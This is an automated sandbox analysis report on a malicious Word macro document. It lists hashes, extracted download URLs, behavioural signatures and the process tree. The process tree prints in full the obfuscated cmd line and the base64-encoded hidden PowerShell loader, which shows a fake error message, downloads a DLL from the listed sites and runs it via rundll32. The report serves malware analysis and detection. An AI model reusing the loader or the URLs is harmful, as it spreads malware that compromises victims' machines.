Analysis
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max time kernel
70s -
max time network
111s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
13-01-2021 19:12
Static task
static1
Behavioral task
behavioral1
Sample
DOC_1301_U_92121711.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
DOC_1301_U_92121711.doc
Resource
win10v20201028
General
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Target
DOC_1301_U_92121711.doc
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Size
158KB
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MD5
7f013028b389d513b3ecdb0314a8e565
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SHA1
6ab79010a6d9ceef32f6c7429a20fab9c2b3e161
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SHA256
1186bddeaa3cf409c79c698387ea235caec1d0f737790405f6cc12f64b90b5e5
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SHA512
38ca252877b342847d90fa20962ac9097038699b46645474eef57a31c12ac873ba56f64fe39cf576315442e8e232877d519e1be3d857daa679a7798ac2a96680
Malware Config
Extracted
https://smkbudiagung.com/wp-content/VoPg04/
https://ats-tx.com/old/f1X/
http://avanttipisos.com.br/catalogo-virtual/U/
http://mpeakecreations.co.za/cgi-bin/vVk1rw/
http://adres-ug.ru/wp-admin/IItD/
https://theraven.pk/overwolf-r6-vdace/UH4fL/
http://bhar.com.br/elementos/MQfB/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1420 1716 cmd.exe -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exerundll32.exeflow pid process 6 1612 powershell.exe 8 1592 rundll32.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exepid process 1436 rundll32.exe 1436 rundll32.exe 1436 rundll32.exe 1436 rundll32.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exerundll32.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\Cocyhqispx\nccnibnct.yqy rundll32.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
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Processes:
WINWORD.EXEdescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1640 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exerundll32.exepid process 1612 powershell.exe 1612 powershell.exe 1592 rundll32.exe 1592 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1612 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1640 WINWORD.EXE 1640 WINWORD.EXE -
Suspicious use of WriteProcessMemory 23 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 1420 wrote to memory of 1620 1420 cmd.exe msg.exe PID 1420 wrote to memory of 1620 1420 cmd.exe msg.exe PID 1420 wrote to memory of 1620 1420 cmd.exe msg.exe PID 1420 wrote to memory of 1612 1420 cmd.exe powershell.exe PID 1420 wrote to memory of 1612 1420 cmd.exe powershell.exe PID 1420 wrote to memory of 1612 1420 cmd.exe powershell.exe PID 1612 wrote to memory of 1432 1612 powershell.exe rundll32.exe PID 1612 wrote to memory of 1432 1612 powershell.exe rundll32.exe PID 1612 wrote to memory of 1432 1612 powershell.exe rundll32.exe PID 1432 wrote to memory of 1436 1432 rundll32.exe rundll32.exe PID 1432 wrote to memory of 1436 1432 rundll32.exe rundll32.exe PID 1432 wrote to memory of 1436 1432 rundll32.exe rundll32.exe PID 1432 wrote to memory of 1436 1432 rundll32.exe rundll32.exe PID 1432 wrote to memory of 1436 1432 rundll32.exe rundll32.exe PID 1432 wrote to memory of 1436 1432 rundll32.exe rundll32.exe PID 1432 wrote to memory of 1436 1432 rundll32.exe rundll32.exe PID 1436 wrote to memory of 1592 1436 rundll32.exe rundll32.exe PID 1436 wrote to memory of 1592 1436 rundll32.exe rundll32.exe PID 1436 wrote to memory of 1592 1436 rundll32.exe rundll32.exe PID 1436 wrote to memory of 1592 1436 rundll32.exe rundll32.exe PID 1436 wrote to memory of 1592 1436 rundll32.exe rundll32.exe PID 1436 wrote to memory of 1592 1436 rundll32.exe rundll32.exe PID 1436 wrote to memory of 1592 1436 rundll32.exe rundll32.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC_1301_U_92121711.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBlAHQAIAAoACcAVgA4AEUAJwArACcARwA1AEgAJwApACAAKABbAHQAWQBwAEUAXQAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewA0AH0AewAyAH0AIgAtAGYAIAAnAE0ALgBpAE8ALgBkAGkAUgBFAEMAdABvACcALAAnAHkAcwAnACwAJwBZACcALAAnAFQAZQAnACwAJwByACcALAAnAFMAJwApACAAIAApACAAIAA7AHMARQBUAC0AaQB0AEUAbQAgACgAIgBWAGEAIgArACIAcgBJAGEAYgBsACIAKwAiAGUAIgArACIAOgB5AGYAVwA1AGoATQAiACkAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADUAfQB7ADQAfQB7ADcAfQB7ADMAfQB7ADAAfQB7ADIAfQB7ADYAfQAiACAALQBGACAAJwBOACcALAAnAHMAeQAnACwAJwB0AG0AYQAnACwAJwBQAG8ASQAnACwAJwBFAE0ALgBOAGUAdAAuAFMARQByACcALAAnAFMAdAAnACwAJwBOAEEARwBFAFIAJwAsACcAdgBpAGMARQAnACkAIAAgACkAOwAgACQARgBmADcAYQBvAGkAeAA9ACQASgAxADgARQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAWAA5ADUATQA7ACQAVAAxADAAUQA9ACgAJwBEADcAJwArACcAXwBUACcAKQA7ACAAIAAoACAAIABJAHQARQBtACAAIAAoACIAVgBBAHIASQAiACsAIgBhACIAKwAiAGIATABFADoAIgArACIAVgA4AEUAZwA1AEgAIgApACAAKQAuAHYAQQBsAFUARQA6ADoAIgBjAHIARQBgAEEAYABUAGUARABpAFIAZQBjAHQAYABPAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAbQB1ACcAKwAnAEEATwAxAHIAJwArACcAeABsADkAJwApACsAKAAnAHQAJwArACcAbQB1AEEASwAnACsAJwAyACcAKQArACcAaQBqACcAKwAnAGkAJwArACgAJwB0AGwAJwArACcAbQAnACkAKwAnAHUAQQAnACkALgAiAFIAZQBwAGAAbABhAEMAZQAiACgAKAAnAG0AJwArACcAdQBBACcAKQAsACcAXAAnACkAKQApADsAJABCADkAOQBHAD0AKAAoACcAQgBfACcAKwAnADkAJwApACsAJwBaACcAKQA7ACAAKAAgAFYAQQByAEkAQQBiAGwARQAgACAAKAAiAFkARgBXADUASgAiACsAIgBNACIAKQApAC4AVgBBAEwAdQBlADoAOgAiAHMARQBgAEMAYABVAFIAaQB0AFkAcABgAFIATwBgAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbABzADEAJwArACcAMgAnACkAKQA7ACQAVQA4ADAASAA9ACgAKAAnAEgAJwArACcANgA1ACcAKQArACcAWgAnACkAOwAkAEYAdAAxAG4AcgBoAGIAIAA9ACAAKAAnAFkAMQAnACsAJwAyAFMAJwApADsAJABNADkAOQBDAD0AKAAoACcAUgAnACsAJwA0ADkAJwApACsAJwBFACcAKQA7ACQASgBpADMAbAA1AHUAcgA9ACQASABPAE0ARQArACgAKAAnAGEAdQAnACsAKAAnADQAJwArACcATwAxACcAKQArACcAcgAnACsAJwB4AGwAJwArACgAJwA5ACcAKwAnAHQAYQB1ADQAJwArACcASwAyAGkAJwApACsAKAAnAGoAJwArACcAaQB0ACcAKQArACgAJwBsAGEAdQAnACsAJwA0ACcAKQApAC4AIgBSAEUAYABwAGAATABhAEMARQAiACgAKAAnAGEAJwArACcAdQA0ACcAKQAsACcAXAAnACkAKQArACQARgB0ADEAbgByAGgAYgArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAE8ANAA1AEUAPQAoACcAWQAnACsAKAAnADEAJwArACcANgBTACcAKQApADsAJABEADYAZgA4ADEAdgBqAD0AKAAnAEEAJwArACgAJwBdAFsAcQBbACcAKwAnAEQAJwApACsAJwBzACcAKwAoACcAOgAvAC8AJwArACcAcwAnACsAJwBtAGsAYgAnACsAJwB1AGQAaQBhAGcAdQBuAGcAJwArACcALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQAnACsAJwBjAG8AbgB0AGUAbgB0AC8AVgAnACsAJwBvACcAKQArACcAUABnACcAKwAoACcAMAA0ACcAKwAnAC8AJwApACsAKAAnAEAAJwArACcAQQBdACcAKQArACcAWwAnACsAKAAnAHEAJwArACcAWwBEAHMAJwApACsAKAAnADoALwAnACsAJwAvAGEAdABzAC0AdAAnACsAJwB4ACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AbwBsACcAKwAnAGQALwAnACkAKwAoACcAZgAxAFgALwAnACsAJwBAACcAKQArACgAJwBBAF0AWwBxAFsAJwArACcARAA6AC8ALwAnACsAJwBhACcAKQArACgAJwB2AGEAJwArACcAbgB0AHQAaQBwACcAKwAnAGkAcwBvACcAKQArACgAJwBzAC4AYwBvAG0ALgBiACcAKwAnAHIAJwArACcALwBjAGEAdABhAGwAJwArACcAbwBnAG8ALQAnACkAKwAoACcAdgAnACsAJwBpAHIAdAAnACkAKwAoACcAdQBhACcAKwAnAGwALwBVAC8AQABBAF0AJwArACcAWwBxAFsAJwArACcARAA6AC8AJwApACsAJwAvACcAKwAnAG0AJwArACgAJwBwAGUAYQBrACcAKwAnAGUAYwByAGUAJwApACsAJwBhACcAKwAoACcAdABpACcAKwAnAG8AbgBzACcAKwAnAC4AYwBvACcAKQArACcALgAnACsAKAAnAHoAYQAvACcAKwAnAGMAZwBpAC0AYgAnACsAJwBpAG4AJwApACsAKAAnAC8AdgBWAGsAMQAnACsAJwByAHcALwBAACcAKwAnAEEAXQAnACkAKwAoACcAWwBxACcAKwAnAFsARAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGEAJwArACcAZAByAGUAcwAtAHUAZwAuAHIAdQAnACsAJwAvACcAKQArACcAdwAnACsAJwBwAC0AJwArACcAYQAnACsAKAAnAGQAbQBpACcAKwAnAG4ALwAnACkAKwAoACcASQAnACsAJwBJACcAKwAnAHQARAAvAEAAJwArACcAQQAnACsAJwBdAFsAcQBbAEQAcwAnACkAKwAnADoALwAnACsAJwAvAHQAJwArACgAJwBoACcAKwAnAGUAcgAnACkAKwAnAGEAJwArACgAJwB2AGUAbgAuAHAAJwArACcAawAvACcAKQArACgAJwBvAHYAZQAnACsAJwByAHcAbwAnACsAJwBsACcAKQArACgAJwBmAC0AcgA2ACcAKwAnAC0AdgBkAGEAJwArACcAYwBlACcAKQArACgAJwAvAFUASAA0AGYAJwArACcATAAnACsAJwAvAEAAJwApACsAKAAnAEEAXQAnACsAJwBbAHEAWwBEACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwBiAGgAJwApACsAKAAnAGEAcgAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAuAGIAcgAnACsAJwAvAGUAbAAnACsAJwBlAG0AJwApACsAKAAnAGUAbgB0ACcAKwAnAG8AJwArACcAcwAvAE0AUQAnACkAKwAoACcAZgBCACcAKwAnAC8AJwApACkALgAiAFIAZQBwAGwAYABBAGAAQwBFACIAKAAoACgAJwBBAF0AWwBxACcAKwAnAFsAJwApACsAJwBEACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAJwBkACcAKwAoACcAcwBlAHcAJwArACcAZgAnACkAKQAsACgAKAAnAHcAJwArACcAZQB2ACcAKQArACcAdwBlACcAKQApACwAKAAoACcAYQBlACcAKwAnAGYAJwApACsAJwBmACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQApAFsAMgBdACkALgAiAHMAcABMAGAAaQBUACIAKAAkAEIAMgA3AEEAIAArACAAJABGAGYANwBhAG8AaQB4ACAAKwAgACQAUAAyAF8AQwApADsAJABBADgAMQBCAD0AKAAnAEgAMgAnACsAJwA3AFcAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABRAHQAeAAwAGcAMgB4ACAAaQBuACAAJABEADYAZgA4ADEAdgBqACkAewB0AHIAeQB7ACgALgAoACcATgAnACsAJwBlACcAKwAnAHcALQBPAGIAagBlAGMAdAAnACkAIABTAHkAUwB0AEUATQAuAE4ARQB0AC4AdwBFAEIAYwBsAEkAZQBuAFQAKQAuACIARABPAGAAdwBOAEwATwBhAGQARgBgAEkAYABsAEUAIgAoACQAUQB0AHgAMABnADIAeAAsACAAJABKAGkAMwBsADUAdQByACkAOwAkAEwAXwA4AFQAPQAoACgAJwBZADEAJwArACcANAAnACkAKwAnAEUAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAaQAzAGwANQB1AHIAKQAuACIATABgAGUATgBHAGAAVABIACIAIAAtAGcAZQAgADQAMwA4ADUAOAApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABKAGkAMwBsADUAdQByACwAKAAnAFMAJwArACgAJwBoAG8AdwAnACsAJwBEACcAKQArACgAJwBpACcAKwAnAGEAbAAnACkAKwAoACcAbwBnACcAKwAnAEEAJwApACkALgAiAFQATwBzAGAAVAByAEkAYABOAGcAIgAoACkAOwAkAFAANQAwAEUAPQAoACgAJwBGACcAKwAnADkAOQAnACkAKwAnAE4AJwApADsAYgByAGUAYQBrADsAJABLADgAMQBNAD0AKAAoACcASQA1ACcAKwAnADgAJwApACsAJwBOACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwA3ADcASwA9ACgAJwBOADkAJwArACcAXwBLACcAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc UwBlAHQAIAAoACcAVgA4AEUAJwArACcARwA1AEgAJwApACAAKABbAHQAWQBwAEUAXQAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewA0AH0AewAyAH0AIgAtAGYAIAAnAE0ALgBpAE8ALgBkAGkAUgBFAEMAdABvACcALAAnAHkAcwAnACwAJwBZACcALAAnAFQAZQAnACwAJwByACcALAAnAFMAJwApACAAIAApACAAIAA7AHMARQBUAC0AaQB0AEUAbQAgACgAIgBWAGEAIgArACIAcgBJAGEAYgBsACIAKwAiAGUAIgArACIAOgB5AGYAVwA1AGoATQAiACkAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADUAfQB7ADQAfQB7ADcAfQB7ADMAfQB7ADAAfQB7ADIAfQB7ADYAfQAiACAALQBGACAAJwBOACcALAAnAHMAeQAnACwAJwB0AG0AYQAnACwAJwBQAG8ASQAnACwAJwBFAE0ALgBOAGUAdAAuAFMARQByACcALAAnAFMAdAAnACwAJwBOAEEARwBFAFIAJwAsACcAdgBpAGMARQAnACkAIAAgACkAOwAgACQARgBmADcAYQBvAGkAeAA9ACQASgAxADgARQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAWAA5ADUATQA7ACQAVAAxADAAUQA9ACgAJwBEADcAJwArACcAXwBUACcAKQA7ACAAIAAoACAAIABJAHQARQBtACAAIAAoACIAVgBBAHIASQAiACsAIgBhACIAKwAiAGIATABFADoAIgArACIAVgA4AEUAZwA1AEgAIgApACAAKQAuAHYAQQBsAFUARQA6ADoAIgBjAHIARQBgAEEAYABUAGUARABpAFIAZQBjAHQAYABPAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAbQB1ACcAKwAnAEEATwAxAHIAJwArACcAeABsADkAJwApACsAKAAnAHQAJwArACcAbQB1AEEASwAnACsAJwAyACcAKQArACcAaQBqACcAKwAnAGkAJwArACgAJwB0AGwAJwArACcAbQAnACkAKwAnAHUAQQAnACkALgAiAFIAZQBwAGAAbABhAEMAZQAiACgAKAAnAG0AJwArACcAdQBBACcAKQAsACcAXAAnACkAKQApADsAJABCADkAOQBHAD0AKAAoACcAQgBfACcAKwAnADkAJwApACsAJwBaACcAKQA7ACAAKAAgAFYAQQByAEkAQQBiAGwARQAgACAAKAAiAFkARgBXADUASgAiACsAIgBNACIAKQApAC4AVgBBAEwAdQBlADoAOgAiAHMARQBgAEMAYABVAFIAaQB0AFkAcABgAFIATwBgAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbABzADEAJwArACcAMgAnACkAKQA7ACQAVQA4ADAASAA9ACgAKAAnAEgAJwArACcANgA1ACcAKQArACcAWgAnACkAOwAkAEYAdAAxAG4AcgBoAGIAIAA9ACAAKAAnAFkAMQAnACsAJwAyAFMAJwApADsAJABNADkAOQBDAD0AKAAoACcAUgAnACsAJwA0ADkAJwApACsAJwBFACcAKQA7ACQASgBpADMAbAA1AHUAcgA9ACQASABPAE0ARQArACgAKAAnAGEAdQAnACsAKAAnADQAJwArACcATwAxACcAKQArACcAcgAnACsAJwB4AGwAJwArACgAJwA5ACcAKwAnAHQAYQB1ADQAJwArACcASwAyAGkAJwApACsAKAAnAGoAJwArACcAaQB0ACcAKQArACgAJwBsAGEAdQAnACsAJwA0ACcAKQApAC4AIgBSAEUAYABwAGAATABhAEMARQAiACgAKAAnAGEAJwArACcAdQA0ACcAKQAsACcAXAAnACkAKQArACQARgB0ADEAbgByAGgAYgArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAE8ANAA1AEUAPQAoACcAWQAnACsAKAAnADEAJwArACcANgBTACcAKQApADsAJABEADYAZgA4ADEAdgBqAD0AKAAnAEEAJwArACgAJwBdAFsAcQBbACcAKwAnAEQAJwApACsAJwBzACcAKwAoACcAOgAvAC8AJwArACcAcwAnACsAJwBtAGsAYgAnACsAJwB1AGQAaQBhAGcAdQBuAGcAJwArACcALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQAnACsAJwBjAG8AbgB0AGUAbgB0AC8AVgAnACsAJwBvACcAKQArACcAUABnACcAKwAoACcAMAA0ACcAKwAnAC8AJwApACsAKAAnAEAAJwArACcAQQBdACcAKQArACcAWwAnACsAKAAnAHEAJwArACcAWwBEAHMAJwApACsAKAAnADoALwAnACsAJwAvAGEAdABzAC0AdAAnACsAJwB4ACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AbwBsACcAKwAnAGQALwAnACkAKwAoACcAZgAxAFgALwAnACsAJwBAACcAKQArACgAJwBBAF0AWwBxAFsAJwArACcARAA6AC8ALwAnACsAJwBhACcAKQArACgAJwB2AGEAJwArACcAbgB0AHQAaQBwACcAKwAnAGkAcwBvACcAKQArACgAJwBzAC4AYwBvAG0ALgBiACcAKwAnAHIAJwArACcALwBjAGEAdABhAGwAJwArACcAbwBnAG8ALQAnACkAKwAoACcAdgAnACsAJwBpAHIAdAAnACkAKwAoACcAdQBhACcAKwAnAGwALwBVAC8AQABBAF0AJwArACcAWwBxAFsAJwArACcARAA6AC8AJwApACsAJwAvACcAKwAnAG0AJwArACgAJwBwAGUAYQBrACcAKwAnAGUAYwByAGUAJwApACsAJwBhACcAKwAoACcAdABpACcAKwAnAG8AbgBzACcAKwAnAC4AYwBvACcAKQArACcALgAnACsAKAAnAHoAYQAvACcAKwAnAGMAZwBpAC0AYgAnACsAJwBpAG4AJwApACsAKAAnAC8AdgBWAGsAMQAnACsAJwByAHcALwBAACcAKwAnAEEAXQAnACkAKwAoACcAWwBxACcAKwAnAFsARAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGEAJwArACcAZAByAGUAcwAtAHUAZwAuAHIAdQAnACsAJwAvACcAKQArACcAdwAnACsAJwBwAC0AJwArACcAYQAnACsAKAAnAGQAbQBpACcAKwAnAG4ALwAnACkAKwAoACcASQAnACsAJwBJACcAKwAnAHQARAAvAEAAJwArACcAQQAnACsAJwBdAFsAcQBbAEQAcwAnACkAKwAnADoALwAnACsAJwAvAHQAJwArACgAJwBoACcAKwAnAGUAcgAnACkAKwAnAGEAJwArACgAJwB2AGUAbgAuAHAAJwArACcAawAvACcAKQArACgAJwBvAHYAZQAnACsAJwByAHcAbwAnACsAJwBsACcAKQArACgAJwBmAC0AcgA2ACcAKwAnAC0AdgBkAGEAJwArACcAYwBlACcAKQArACgAJwAvAFUASAA0AGYAJwArACcATAAnACsAJwAvAEAAJwApACsAKAAnAEEAXQAnACsAJwBbAHEAWwBEACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwBiAGgAJwApACsAKAAnAGEAcgAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAuAGIAcgAnACsAJwAvAGUAbAAnACsAJwBlAG0AJwApACsAKAAnAGUAbgB0ACcAKwAnAG8AJwArACcAcwAvAE0AUQAnACkAKwAoACcAZgBCACcAKwAnAC8AJwApACkALgAiAFIAZQBwAGwAYABBAGAAQwBFACIAKAAoACgAJwBBAF0AWwBxACcAKwAnAFsAJwApACsAJwBEACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAJwBkACcAKwAoACcAcwBlAHcAJwArACcAZgAnACkAKQAsACgAKAAnAHcAJwArACcAZQB2ACcAKQArACcAdwBlACcAKQApACwAKAAoACcAYQBlACcAKwAnAGYAJwApACsAJwBmACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQApAFsAMgBdACkALgAiAHMAcABMAGAAaQBUACIAKAAkAEIAMgA3AEEAIAArACAAJABGAGYANwBhAG8AaQB4ACAAKwAgACQAUAAyAF8AQwApADsAJABBADgAMQBCAD0AKAAnAEgAMgAnACsAJwA3AFcAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABRAHQAeAAwAGcAMgB4ACAAaQBuACAAJABEADYAZgA4ADEAdgBqACkAewB0AHIAeQB7ACgALgAoACcATgAnACsAJwBlACcAKwAnAHcALQBPAGIAagBlAGMAdAAnACkAIABTAHkAUwB0AEUATQAuAE4ARQB0AC4AdwBFAEIAYwBsAEkAZQBuAFQAKQAuACIARABPAGAAdwBOAEwATwBhAGQARgBgAEkAYABsAEUAIgAoACQAUQB0AHgAMABnADIAeAAsACAAJABKAGkAMwBsADUAdQByACkAOwAkAEwAXwA4AFQAPQAoACgAJwBZADEAJwArACcANAAnACkAKwAnAEUAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAaQAzAGwANQB1AHIAKQAuACIATABgAGUATgBHAGAAVABIACIAIAAtAGcAZQAgADQAMwA4ADUAOAApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABKAGkAMwBsADUAdQByACwAKAAnAFMAJwArACgAJwBoAG8AdwAnACsAJwBEACcAKQArACgAJwBpACcAKwAnAGEAbAAnACkAKwAoACcAbwBnACcAKwAnAEEAJwApACkALgAiAFQATwBzAGAAVAByAEkAYABOAGcAIgAoACkAOwAkAFAANQAwAEUAPQAoACgAJwBGACcAKwAnADkAOQAnACkAKwAnAE4AJwApADsAYgByAGUAYQBrADsAJABLADgAMQBNAD0AKAAoACcASQA1ACcAKwAnADgAJwApACsAJwBOACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwA3ADcASwA9ACgAJwBOADkAJwArACcAXwBLACcAKQA=2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\O1rxl9t\K2ijitl\Y12S.dll ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cocyhqispx\nccnibnct.yqy",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\O1rxl9t\K2ijitl\Y12S.dllMD5
5032f80ceafaf8c8db591237c73d0083
SHA145e7751e9686f496192787550acd7fe98549ee71
SHA25647417de1d6568ee9601025f44fcad3d1bf24d259a3f8ff3ecab00a7efb8df652
SHA512dfcebdc33b9e1b622f2af6aa882f5f7574365383e222c2e9041d88f616456682d207d76f7765f6f9abd77dae82a7f8c8982fabd374ee3cd0c3efaf71f6bf9c98
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\Users\Admin\O1rxl9t\K2ijitl\Y12S.dllMD5
5032f80ceafaf8c8db591237c73d0083
SHA145e7751e9686f496192787550acd7fe98549ee71
SHA25647417de1d6568ee9601025f44fcad3d1bf24d259a3f8ff3ecab00a7efb8df652
SHA512dfcebdc33b9e1b622f2af6aa882f5f7574365383e222c2e9041d88f616456682d207d76f7765f6f9abd77dae82a7f8c8982fabd374ee3cd0c3efaf71f6bf9c98
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\Users\Admin\O1rxl9t\K2ijitl\Y12S.dllMD5
5032f80ceafaf8c8db591237c73d0083
SHA145e7751e9686f496192787550acd7fe98549ee71
SHA25647417de1d6568ee9601025f44fcad3d1bf24d259a3f8ff3ecab00a7efb8df652
SHA512dfcebdc33b9e1b622f2af6aa882f5f7574365383e222c2e9041d88f616456682d207d76f7765f6f9abd77dae82a7f8c8982fabd374ee3cd0c3efaf71f6bf9c98
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\Users\Admin\O1rxl9t\K2ijitl\Y12S.dllMD5
5032f80ceafaf8c8db591237c73d0083
SHA145e7751e9686f496192787550acd7fe98549ee71
SHA25647417de1d6568ee9601025f44fcad3d1bf24d259a3f8ff3ecab00a7efb8df652
SHA512dfcebdc33b9e1b622f2af6aa882f5f7574365383e222c2e9041d88f616456682d207d76f7765f6f9abd77dae82a7f8c8982fabd374ee3cd0c3efaf71f6bf9c98
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\Users\Admin\O1rxl9t\K2ijitl\Y12S.dllMD5
5032f80ceafaf8c8db591237c73d0083
SHA145e7751e9686f496192787550acd7fe98549ee71
SHA25647417de1d6568ee9601025f44fcad3d1bf24d259a3f8ff3ecab00a7efb8df652
SHA512dfcebdc33b9e1b622f2af6aa882f5f7574365383e222c2e9041d88f616456682d207d76f7765f6f9abd77dae82a7f8c8982fabd374ee3cd0c3efaf71f6bf9c98
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memory/1432-13-0x0000000000000000-mapping.dmp
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memory/1436-15-0x0000000000000000-mapping.dmp
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memory/1592-20-0x0000000000000000-mapping.dmp
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memory/1612-7-0x0000000002270000-0x0000000002271000-memory.dmpFilesize
4KB
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memory/1612-11-0x000000001C230000-0x000000001C231000-memory.dmpFilesize
4KB
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memory/1612-12-0x000000001C300000-0x000000001C301000-memory.dmpFilesize
4KB
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memory/1612-10-0x0000000002580000-0x0000000002581000-memory.dmpFilesize
4KB
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memory/1612-9-0x00000000024C0000-0x00000000024C1000-memory.dmpFilesize
4KB
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memory/1612-8-0x000000001AB10000-0x000000001AB11000-memory.dmpFilesize
4KB
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memory/1612-6-0x000007FEF55B0000-0x000007FEF5F9C000-memory.dmpFilesize
9.9MB
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memory/1612-5-0x0000000000000000-mapping.dmp
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memory/1620-4-0x0000000000000000-mapping.dmp
